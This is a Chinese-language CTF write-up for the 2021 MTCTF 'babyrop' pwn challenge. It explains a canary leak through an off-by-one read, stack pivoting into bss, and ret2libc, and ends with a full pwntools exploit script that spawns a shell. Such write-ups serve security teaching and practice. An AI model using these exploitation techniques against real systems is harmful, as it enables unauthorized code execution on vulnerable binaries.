2021 美团MTCTF babyrop

1 篇文章 0 订阅

Canary机制的绕过+栈迁移

漏洞分析

拿到题目检查保护和链接的动态库(题目给的是libc-2.27.so,分析本地的/lib/x86_64-linux-gnu/libc.so.6就行)

这题的重点在于Canary保护

┌──(root💀e267254b2ec9)-[/home/babyrop]
└─# checksec babyrop
[*] '/home/babyrop/babyrop'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
 
┌──(root💀e267254b2ec9)-[/home/babyrop]
└─# ldd babyrop
        linux-vdso.so.1 (0x00007ffd2c1d3000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff900d17000)
        /lib64/ld-linux-x86-64.so.2 (0x00007ff900eea000)

逆向分析,程序流程是先输入name,然后输入password进入vuln,vuln很明显溢出了16个字节,少的可怜的溢出,并且有canary的保护

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+0h] [rbp-30h]
  char *v5; // [rsp+8h] [rbp-28h] BYREF
  char v6[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts("What your name? ");
  for ( i = 0; i <= 24; ++i )
  {
    if ( (unsigned int)read(0, &v6[i], 1uLL) != 1 || v6[i] == 10 )
    {
      v6[i] = 0;
      break;
    }
  }
  printf("Hello, %s, welcome to this challenge!\n", v6);
  puts("Please input the passwd to unlock this challenge");
  __isoc99_scanf("%lld", &v5);
  if ( v5 == "password" )
  {
    puts("OK!\nNow, you can input your message");
    vuln();
    puts("we will reply soon");
  }
  return 0;
}

vuln

unsigned __int64 vuln()
{
  char buf[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  read(0, buf, 0x30uLL);
  return __readfsqword(0x28u) ^ v2;
}

利用思路

如何getshell,我的思路是分三步

  • 获取canary
  • 因为溢出的字节数不够,但rbp和rsp可以覆盖,leave也比较多,因此可以考虑栈迁移的方式
  • ret2libc,因为没有system、bin_sh,需要构造两个栈,第一个栈用来泄露某个函数的实际地址,比如puts,这样就能计算出libc的基地址了,第二个栈用来getshell

0x1 获取canary

canary的值每次运行都不一样,但一旦运行它就不变了,此程序canary是在fs:28h中,但我们依然可以用某种方式去获取canary,比如此程序在main函数的开头把canary的值放到了rbp+var_8中,因此接下来就是思考如何获取rbp+var_8的值了

mov     rax, fs:28h
mov     [rbp+var_8], rax

从反汇编的C很快看出v7就是canary,并且紧接这v6字符串,这就很危险了,因为v6字符串通常是用来打印的,如果能和v7拼接上,那么就可以泄露canary

  char v6[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

往下看,发现特么循环了25次!!!溢出了一个字节,因此可以和canary拼接上的!

  for ( i = 0; i <= 24; ++i )
  {
    if ( (unsigned int)read(0, &v6[i], 1uLL) != 1 || v6[i] == 10 )
    {
      v6[i] = 0;
      break;
    }
  }

为什么要和canary拼接上?因为canary的随机值低位是00,它就是不让你去拼接的,如果循环次数是24次,永远都不可能拼上。。。

调试举个canary的例子,0x9ae6f96367c48800是canary的值,我输入了24个字节的A和00没拼上,这样就防止了canary的泄露

pwndbg> x /40xb 0x7ffcb560da00
0x7ffcb560da00: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffcb560da08: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffcb560da10: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffcb560da18: 0x00    0x88    0xc4    0x67    0x63    0xf9    0xe6    0x9a
0x7ffcb560da20: 0xb0    0x08    0x40    0x00    0x00    0x00    0x00    0x00

但是如果输入25个A,把00低位覆盖,那么就可以泄露canary啦,像下面这样

┌──(root💀e267254b2ec9)-[/home/babyrop]
└─# ./babyrop
What your name? 
AAAAAAAAAAAAAAAAAAAAAAAAA
Hello, AAAAAAAAAAAAAAAAAAAAAAAAA;�p��a@, welcome to this challenge!
Please input the passwd to unlock this challenge

在获取了canary的值后,我们就可以安心的进行栈溢出了,只需要把canary在栈上的位置覆盖成泄露的canary就能绕过保护

可以看下面的汇编,可知,rbp上8个字节只需要覆盖成canary即可绕过

mov     rcx, [rbp+var_8]
xor     rcx, fs:28h
jz      short locret_4008A2

0x2 栈迁移

在绕过canary后却只能覆盖rbp和rsp,而rbp在程序中又没有bss地址的泄露(可能是没有用到全局变量的原因),因此我们去内存上找bss,对main断点,然后r到main,再通过gdb内的vmmap命令可以找到一些可读写权限的bss段,比如下面0x601000~0x602000都是可读写的

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x401000 r-xp     1000 0      /home/babyrop/babyrop
          0x600000           0x601000 r--p     1000 0      /home/babyrop/babyrop
          0x601000           0x602000 rw-p     1000 1000   /home/babyrop/babyrop
    0x7f2ffd831000     0x7f2ffd833000 rw-p     2000 0      [anon_7f2ffd831]
    0x7f2ffd833000     0x7f2ffd859000 r--p    26000 0      /usr/lib/x86_64-linux-gnu/libc-2.32.so
    0x7f2ffd859000     0x7f2ffd9a2000 r-xp   149000 26000  /usr/lib/x86_64-linux-gnu/libc-2.32.so
    0x7f2ffd9a2000     0x7f2ffd9ed000 r--p    4b000 16f000 /usr/lib/x86_64-linux-gnu/libc-2.32.so
    0x7f2ffd9ed000     0x7f2ffd9ee000 ---p     1000 1ba000 /usr/lib/x86_64-linux-gnu/libc-2.32.so
    0x7f2ffd9ee000     0x7f2ffd9f1000 r--p     3000 1ba000 /usr/lib/x86_64-linux-gnu/libc-2.32.so
    0x7f2ffd9f1000     0x7f2ffd9f4000 rw-p     3000 1bd000 /usr/lib/x86_64-linux-gnu/libc-2.32.so
    0x7f2ffd9f4000     0x7f2ffd9fa000 rw-p     6000 0      [anon_7f2ffd9f4]
    0x7f2ffda06000     0x7f2ffda07000 r--p     1000 0      /usr/lib/x86_64-linux-gnu/ld-2.32.so
    0x7f2ffda07000     0x7f2ffda27000 r-xp    20000 1000   /usr/lib/x86_64-linux-gnu/ld-2.32.so
    0x7f2ffda27000     0x7f2ffda30000 r--p     9000 21000  /usr/lib/x86_64-linux-gnu/ld-2.32.so
    0x7f2ffda30000     0x7f2ffda31000 r--p     1000 29000  /usr/lib/x86_64-linux-gnu/ld-2.32.so
    0x7f2ffda31000     0x7f2ffda33000 rw-p     2000 2a000  /usr/lib/x86_64-linux-gnu/ld-2.32.so
    0x7ffcdec85000     0x7ffcdeca6000 rw-p    21000 0      [stack]   
    0x7ffcded0f000     0x7ffcded13000 r--p     4000 0      [vvar]    
    0x7ffcded13000     0x7ffcded14000 r-xp     1000 0      [vdso] 

特别注意!bss不能两次重复写,这是我两次重复写在exp中调试的结果报错,因此我们需要拿出两段bss1(0x601a00)和bss2(0x601b00)

pwndbg> c
Continuing.
[Attaching after process 2902 vfork to child process 2936]
[New inferior 2 (process 2936)]
[Detaching vfork parent process 2902 after child exec]
[Inferior 1 (process 2902) detached]
process 2936 is executing new program: /usr/bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x400717
Cannot insert breakpoint 2.
Cannot access memory at address 0x40072e
Cannot insert breakpoint 5.
Cannot access memory at address 0x40073f
Cannot insert breakpoint 3.
Cannot access memory at address 0x400744
Cannot insert breakpoint 4.
Cannot access memory at address 0x40086e

0x3 ret2libc

在vuln中,我们直接取这一段0x40072E作为每次溢出的attack function,它会把当前rbp往前0x20个字节(递减)从低地址往高地址进行读入

.text:000000000040072E                 lea     rax, [rbp+buf]
.text:0000000000400732                 mov     edx, 30h ; '0'  ; nbytes
.text:0000000000400737                 mov     rsi, rax        ; buf
.text:000000000040073A                 mov     edi, 0          ; fd
.text:000000000040073F                 call    _read

所以我们第一次输入先改变rbp和rsp就行,输入’A’*24 + p64(canary) +p64(bss1+0x20) + p64(0x40072E),这样read后,vuln快结束时执行leave和ret,rbp就指向了一段bss(让第二次输入从bss地址开始往下),sp指向0x40072E再次进行一次溢出输入,此时第二次输入就构造出一个可用于泄露函数实际地址的栈空间payload = p64(pop_rdi_ret) + p64(puts_got) + p64(0x40086E) + p64(canary) + p64(bss1-0x8) + p64(leave_ret),这里最关键的一点是0x40086E而不是puts的plt地址,因为sp为这段地址后会执行vuln,这样我就省了一次在bss上布置执行vuln的栈空间了。这里参数通过pop rdi,让下面的call puts去打印puts的实际地址,然后也不需要管sp了,自觉再来一次vuln

.text:0000000000400867                 lea     rdi, aOkNowYouCanInp ; "OK!\nNow, you can input your message"
.text:000000000040086E                 call    _puts
.text:0000000000400873                 mov     eax, 0
.text:0000000000400878                 call    vuln

按照前面的思路,后面的ret2libc就很简单了,只需要再来一次栈溢出,在bss2上构造一段可以ret2libc的数据就可以getshell了,结构和前面一样,具体可参考EXP

EXP

# encoding: utf-8
from os import system
from pwn import *
context(os='linux', arch='amd64', log_level='debug')


if __name__ == "__main__":
    p = process("./babyrop")
    p.recv()
    payload1 = 'A'*25
    p.send(payload1)
    canary = p.recv()
    canary = canary[32:39]
    canary = canary.rjust(8, '\x00')
    canary = u64(canary)
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    elf = ELF("./babyrop")

    #栈迁移,让rbp、rsp都指向一段可执行的bss1内存空间,泄露puts
    v5 = '4196782'
    bss1 = 0x601a00
    bss2 = 0x601b00
    p.sendline(v5)
    p.recv()
    payload2 = 'A'*24 + p64(canary) + p64(bss1 + 0x20) + p64(0x40072E)
    p.send(payload2)

    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    pop_rdi_ret = 0x400913
    leave_ret = 0x400759
    payload3 = p64(pop_rdi_ret) + p64(puts_got) + p64(0x40086E) + p64(canary) + p64(bss1-0x8) + p64(leave_ret)
    p.send(payload3)


    puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
    print(hex(puts_addr))
    libc_base = puts_addr - libc.sym['puts']
    #print(hex(libc_base))
    bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
    sys_addr = libc_base + libc.sym['system']


    #ret2libc
    payload4 = "A"*24 + p64(canary) + p64(bss2 + 0x20) + p64(0x40072E)
    p.send(payload4)

    payload5 = p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(sys_addr) + p64(canary) + p64(bss2 - 0x8) + p64(leave_ret)
    p.send(payload5)

    p.interactive()

getshell!

image-20211216174336534

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值